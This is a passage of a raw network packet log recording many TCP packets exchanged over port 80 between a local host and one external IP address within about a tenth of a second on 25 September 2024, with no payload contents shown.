Sep 25, 2024 18:01:03.440922976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.440929890 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.440958023 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.440968990 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.440978050 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441014051 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441051006 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441082954 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441102982 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441116095 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441124916 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441165924 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441271067 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441303968 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441320896 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441338062 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441370964 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441395998 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441414118 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441446066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441467047 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441481113 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441508055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441530943 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441572905 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441605091 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441622019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441638947 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441657066 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441669941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441689968 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441719055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441730022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441780090 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441780090 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441812038 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441829920 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441863060 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441863060 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441896915 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441924095 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441946983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.441947937 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441982031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.441994905 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442013979 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442029953 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442047119 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442078114 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442080021 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442101955 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442111969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442121983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442145109 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442157030 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442177057 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442195892 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442209959 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442233086 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442241907 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442255020 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442275047 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442293882 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442307949 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442317009 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442338943 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442356110 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442370892 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442397118 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442403078 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442419052 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442435980 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442461014 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442467928 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442500114 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442501068 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442519903 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442534924 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442547083 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442568064 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442589045 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442600012 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442625046 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442635059 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442646980 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442682028 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442683935 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442714930 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442727089 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442747116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442765951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442784071 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442802906 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442817926 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442832947 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442851067 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442866087 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442882061 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442900896 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442917109 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442925930 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442949057 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.442964077 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.442981958 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443001986 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443012953 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443042994 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443044901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443063021 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443078041 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443093061 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443109989 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443120956 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443140984 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443159103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443175077 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443188906 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443223953 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443227053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443264008 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443276882 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443295956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443305969 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443330050 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443346024 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443362951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443380117 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443420887 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443424940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443458080 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443475962 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443491936 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443515062 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443536997 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443562031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443627119 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443627119 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443660021 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443674088 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443708897 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443768978 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443799973 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443820953 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443833113 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443845987 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443867922 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443885088 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443900108 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.443919897 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.443953037 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532299042 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532336950 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532351971 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532361984 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532376051 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532390118 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532407045 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532413960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532413960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532413960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532423019 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532438040 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532445908 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532445908 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532474041 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532474041 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532496929 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532531977 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532742977 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532757998 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532773018 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532783985 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532789946 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532810926 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532810926 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532814980 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532830000 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532830000 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532845020 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532855034 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532861948 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532875061 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532880068 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.532893896 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532917976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.532917976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533086061 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533102036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533127069 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533149004 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533534050 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533550024 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533574104 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533579111 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533588886 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533600092 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533603907 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533617973 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533624887 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533642054 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533655882 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533657074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533657074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533657074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533679008 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533679962 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533691883 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533696890 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533710003 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533715963 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533724070 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533735991 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533749104 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533762932 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533775091 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533797026 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533813000 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533830881 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.533929110 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533943892 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533957958 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.533967972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534003019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534003019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534091949 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534106016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534132957 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534142971 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534153938 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534158945 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534173965 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534178019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534192085 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534198999 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534208059 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534225941 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534225941 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534245014 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534512997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534528017 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534542084 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534555912 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534563065 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534574986 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534604073 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534707069 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534720898 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534737110 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534749031 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534755945 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.534768105 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534795046 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.534795046 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535027981 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535043001 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535058022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535068035 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535073042 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535087109 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535088062 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535104036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535119057 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535130978 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535130978 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535130978 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535134077 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535149097 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535155058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535176039 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535197020 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535782099 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535805941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535820961 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535825968 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535836935 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535847902 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535852909 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535867929 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535871983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535871983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535885096 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535891056 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535902023 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535908937 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535917997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535933018 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535945892 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535948992 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535945892 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535968065 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535970926 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535970926 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.535994053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.535995007 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536012888 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536029100 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536247969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536262989 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536278009 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536288977 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536295891 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536307096 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536314011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536323071 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536329031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536339045 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536345005 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536354065 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536362886 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536370993 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536386967 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536401987 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536601067 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536617041 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536631107 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536642075 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536647081 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536668062 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536668062 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536693096 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536843061 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536859035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536875963 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536884069 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536892891 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536904097 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536915064 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.536922932 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536947012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.536947012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537161112 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537189007 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537204981 CEST	80	49736	147.45.44.104	192.168.2.5
